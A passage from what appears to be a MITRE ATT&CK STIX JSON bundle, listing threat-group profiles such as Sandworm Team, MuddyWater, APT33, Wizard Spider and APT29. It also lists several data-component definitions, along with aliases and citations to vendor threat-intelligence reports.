Andrienko et al.. Retrieved November 25, 2020."},{"source_name":"Secureworks IRON VIKING ","url":"https://www.secureworks.com/research/threat-profiles/iron-viking","description":"Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020."},{"source_name":"UK NCSC Olympic Attacks October 2020","url":"https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games","description":"UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020)\n\nIn October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018)","modified":"2022-04-14T15:09:52.498Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Sandworm Team","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["MuddyWater","Earth Vetala ","MERCURY","Static Kitten","Seedworm","TEMP.Zagros"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","type":"intrusion-set","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0069","external_id":"G0069"},{"source_name":"MuddyWater","description":"(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)"},{"source_name":"Earth Vetala ","description":"(Citation: Trend Micro Muddy Water March 2021)"},{"source_name":"MERCURY","description":"(Citation: Anomali Static Kitten February 2021)"},{"source_name":"Static Kitten","description":"(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)"},{"source_name":"Seedworm","description":"(Citation: Symantec MuddyWater Dec 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)"},{"source_name":"TEMP.Zagros","description":"(Citation: FireEye MuddyWater Mar 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)"},{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/","description":"Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.","source_name":"Unit 42 MuddyWater Nov 2017"},{"description":"Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group","source_name":"Symantec MuddyWater Dec 2018"},{"description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf","source_name":"ClearSky MuddyWater Nov 2018"},{"source_name":"ClearSky MuddyWater June 2019","url":"https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf","description":"ClearSky. (2019, June). Iranian APT group ‘MuddyWater’ Adds Exploits to Their Arsenal. Retrieved May 14, 2020."},{"source_name":"Reaqta MuddyWater November 2017","url":"https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/","description":"Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020."},{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."},{"source_name":"Anomali Static Kitten February 2021","url":"https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies","description":"Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021."},{"url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","source_name":"FireEye MuddyWater Mar 2018"}],"modified":"2021-04-26T22:30:05.308Z","name":"MuddyWater","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) is an Iranian threat group that has primarily targeted Middle Eastern nations, and has also targeted European and North American nations. The group's victims are mainly in the telecommunications, government (IT services), and oil sectors. Activity from this group was previously linked to [FIN7](https://attack.mitre.org/groups/G0046), but the group is believed to be a distinct group possibly motivated by espionage.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)","x_mitre_version":"3.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.273Z","name":"File Metadata","description":"Contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.","x_mitre_data_source_ref":"x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["ZIRCONIUM","APT31"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","type":"intrusion-set","created":"2021-03-24T15:48:17.731Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0128","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0128"},{"source_name":"APT31","description":"(Citation: Check Point APT31 February 2021)"},{"source_name":"Microsoft Targeting Elections September 2020","url":"https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/","description":"Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021."},{"source_name":"Check Point APT31 February 2021","url":"https://research.checkpoint.com/2021/the-story-of-jian/","description":"Itkin, E. and Cohen, I. (2021, February 22). The Story of Jian – How APT31 Stole and Used an Unknown Equation Group 0-Day. Retrieved March 24, 2021."}],"modified":"2021-04-20T21:00:44.930Z","name":"ZIRCONIUM","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) is a threat group operating out of China, active since at least 2017, that has targeted individuals associated with the 2020 US presidential election and prominent leaders in the international affairs community.(Citation: Microsoft Targeting Elections September 2020)(Citation: Check Point APT31 February 2021)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["TA505","Hive0065"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","type":"intrusion-set","created":"2019-05-28T15:54:17.213Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0092","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0092"},{"source_name":"Hive0065","description":"(Citation: IBM TA505 April 2020)"},{"description":"Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter","source_name":"Proofpoint TA505 Sep 2017"},{"description":"Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times","source_name":"Proofpoint TA505 June 2018"},{"source_name":"Proofpoint TA505 Jan 2019","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."},{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}],"modified":"2021-12-01T23:27:44.104Z","name":"TA505","description":"[TA505](https://attack.mitre.org/groups/G0092) is a financially motivated threat group that has been active since at least 2014. The group is known for frequently changing malware and driving global trends in criminal malware distribution.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.272Z","name":"Process Creation","description":"Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)","x_mitre_data_source_ref":"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--1dad5aa4-4bb5-45e4-9e42-55d40003cfa6","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.275Z","name":"Certificate Registration","description":"Queried or logged information highlighting current and expired digital certificates (ex: Certificate transparency)","x_mitre_data_source_ref":"x-mitre-data-source--29aa4e0e-4a26-4f79-a9bc-1ae66df1c923","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["APT33","HOLMIUM","Elfin"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","type":"intrusion-set","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0064","external_id":"G0064"},{"source_name":"APT33","description":"(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)"},{"source_name":"HOLMIUM","description":"(Citation: Microsoft Holmium June 2020)"},{"source_name":"Elfin","description":"(Citation: Symantec Elfin Mar 2019)"},{"source_name":"FireEye APT33 Sept 2017","description":"O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html"},{"source_name":"FireEye APT33 Webinar Sept 2017","description":"Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.","url":"https://www.brighttalk.com/webcast/10703/275683"},{"source_name":"Microsoft Holmium June 2020","url":"https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/","description":"Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."},{"source_name":"Symantec Elfin Mar 2019","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."}],"modified":"2021-05-26T12:40:42.907Z","name":"APT33","description":"[APT33](https://attack.mitre.org/groups/G0064) is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)","x_mitre_version":"1.4","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Ajax Security Team","Operation Woolen-Goldfish","AjaxTM","Rocket Kitten","Flying Kitten","Operation Saffron Rose"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7","type":"intrusion-set","created":"2021-04-14T13:17:43.941Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0130","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0130"},{"source_name":"Operation Woolen-Goldfish","description":"Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between [Ajax Security Team](https://attack.mitre.org/groups/G0130) and the campaign Operation Woolen-Goldfish.(Citation: Check Point Rocket Kitten)(Citation: TrendMicro Operation Woolen Goldfish March 2015)"},{"source_name":"AjaxTM","description":"(Citation: FireEye Operation Saffron Rose 2013)"},{"source_name":"Rocket Kitten","description":"Analysis of infrastructure, tools, and modes of operation revealed a potential relationship between [Ajax Security Team](https://attack.mitre.org/groups/G0130) and Rocket Kitten.(Citation: Check Point Rocket Kitten)(Citation: IranThreats Kittens Dec 2017)"},{"source_name":"Flying Kitten","description":"(Citation: CrowdStrike Flying Kitten )"},{"source_name":"Operation Saffron Rose","description":"(Citation: FireEye Operation Saffron Rose 2013)"},{"source_name":"FireEye Operation Saffron Rose 2013","url":"https://www.mandiant.com/resources/operation-saffron-rose","description":"Villeneuve, N. et al.. (2013). OPERATION SAFFRON ROSE . Retrieved May 28, 2020."},{"source_name":"Check Point Rocket Kitten","url":"https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf","description":"Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018."},{"source_name":"TrendMicro Operation Woolen Goldfish March 2015","url":"https://documents.trendmicro.com/assets/wp/wp-operation-woolen-goldfish.pdf","description":"Cedric Pernet, Kenney Lu. (2015, March 19). Operation Woolen-Goldfish - When Kittens Go phishing. Retrieved April 21, 2021."},{"source_name":"IranThreats Kittens Dec 2017","url":"https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/","description":"Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020."},{"source_name":"CrowdStrike Flying Kitten ","url":"https://www.crowdstrike.com/blog/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/","description":"Dahl, M.. (2014, May 13). Cat Scratch Fever: CrowdStrike Tracks Newly Reported Iranian Actor as FLYING KITTEN. Retrieved May 27, 2020."}],"modified":"2021-12-17T19:27:27.246Z","name":"Ajax Security Team","description":"[Ajax Security Team](https://attack.mitre.org/groups/G0130) is a group that has been active since at least 2010 and believed to be operating out of Iran. By 2014 [Ajax Security Team](https://attack.mitre.org/groups/G0130) transitioned from website defacement operations to malware-based cyber espionage campaigns targeting the US defense industrial base and Iranian users of anti-censorship technologies.(Citation: FireEye Operation Saffron Rose 2013)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Wizard Spider","UNC1878","TEMP.MixMaster","Grim Spider"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Edward Millington","Oleksiy Gayda"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","type":"intrusion-set","created":"2020-05-12T18:15:29.396Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0102","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0102"},{"source_name":"UNC1878","description":"(Citation: FireEye KEGTAP SINGLEMALT October 2020)"},{"source_name":"TEMP.MixMaster","description":"(Citation: FireEye Ryuk and Trickbot January 2019)"},{"source_name":"Grim Spider","description":"(Citation: CrowdStrike Ryuk January 2019)(Citation: CrowdStrike Grim Spider May 2019)"},{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."},{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."},{"source_name":"CrowdStrike Wizard Spider October 2020","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021."},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."},{"source_name":"FireEye Ryuk and Trickbot January 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html","description":"Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020."},{"source_name":"CrowdStrike Grim Spider May 2019","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."}],"modified":"2021-10-14T17:27:41.194Z","name":"Wizard Spider","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) is a Russia-based financially motivated threat group originally known for the creation and deployment of [TrickBot](https://attack.mitre.org/software/S0266) since at least 2016. [Wizard Spider](https://attack.mitre.org/groups/G0102) possesses a diverse arsenal of tools and has conducted ransomware campaigns against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: CrowdStrike Wizard Spider October 2020)","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Sidewinder","T-APT-04","Rattlesnake"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Lacework Labs","Daniyal Naeem, BT Security"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","type":"intrusion-set","created":"2021-01-27T15:57:11.183Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0121","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0121"},{"source_name":"T-APT-04","description":"(Citation: Cyble Sidewinder September 2020)"},{"source_name":"Rattlesnake","description":"(Citation: Cyble Sidewinder September 2020)"},{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."},{"source_name":"Securelist APT Trends April 2018","url":"https://securelist.com/apt-trends-report-q1-2018/85280/","description":"Global Research and Analysis Team . (2018, April 12). APT Trends report Q1 2018. Retrieved January 27, 2021."},{"source_name":"Cyble Sidewinder September 2020","url":"https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/","description":"Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."}],"modified":"2021-04-21T12:32:46.791Z","name":"Sidewinder","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) is a suspected Indian threat actor group that has been active since at least 2012. They have been observed targeting government, military, and business entities throughout Asia, primarily focusing on Pakistan, China, Nepal, and Afghanistan.(Citation: ATT Sidewinder January 2021)(Citation: Securelist APT Trends April 2018)(Citation: Cyble Sidewinder September 2020)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["APT29","IRON RITUAL","IRON HEMLOCK","NobleBaron","Dark Halo","StellarParticle","NOBELIUM","UNC2452","YTTRIUM","The Dukes","Cozy Bear","CozyDuke"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security","Matt Brenton, Zurich Insurance Group","Katie Nickels, Red Canary"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","created":"2017-05-31T21:31:52.748Z","x_mitre_version":"3.0","external_references":[{"source_name":"mitre-attack","external_id":"G0016","url":"https://attack.mitre.org/groups/G0016"},{"source_name":"CozyDuke","description":"(Citation: Crowdstrike DNC June 2016)"},{"source_name":"Cozy Bear","description":"(Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: CrowdStrike StellarParticle January 2022)"},{"source_name":"StellarParticle","description":"(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: CrowdStrike StellarParticle January 2022)"},{"source_name":"The Dukes","description":"(Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)"},{"source_name":"APT29","description":"(Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)"},{"source_name":"UNC2452","description":"(Citation: FireEye SUNBURST Backdoor December 2020)"},{"source_name":"YTTRIUM","description":"(Citation: Microsoft Unidentified Dec 2018)"},{"source_name":"NOBELIUM","description":"(Citation: MSTIC NOBELIUM Mar 2021)(Citation: MSTIC NOBELIUM May 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: MSRC Nobelium June 2021)"},{"source_name":"IRON HEMLOCK","description":"(Citation: Secureworks IRON HEMLOCK Profile)"},{"source_name":"IRON RITUAL","description":"(Citation: Secureworks IRON RITUAL Profile)"},{"source_name":"NobleBaron","description":"(Citation: SentinelOne NobleBaron June 2021)"},{"source_name":"Dark Halo","description":"(Citation: Volexity SolarWinds)"},{"source_name":"Crowdstrike DNC June 2016","url":"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/","description":"Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016."},{"source_name":"Volexity SolarWinds","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."},{"source_name":"CrowdStrike SUNSPOT Implant January 2021","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."},{"source_name":"CrowdStrike StellarParticle January 2022","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022."},{"source_name":"GRIZZLY STEPPE JAR","url":"https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf","description":"Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017."},{"source_name":"FireEye APT29 Nov 2018","url":"https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html","description":"Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018."},{"source_name":"F-Secure The Dukes","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015."},{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."},{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."},{"source_name":"SentinelOne NobleBaron June 2021","url":"https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/","description":"Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021."},{"source_name":"Microsoft Unidentified Dec 2018","url":"https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/","description":"Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019."},{"source_name":"MSTIC NOBELIUM May 2021","url":"https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/","description":"Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021."},{"source_name":"MSRC Nobelium June 2021","url":"https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/","description":"MSRC. (2021, June 25). New Nobelium activity. Retrieved August 4, 2021."},{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."},{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."},{"source_name":"NCSC APT29 July 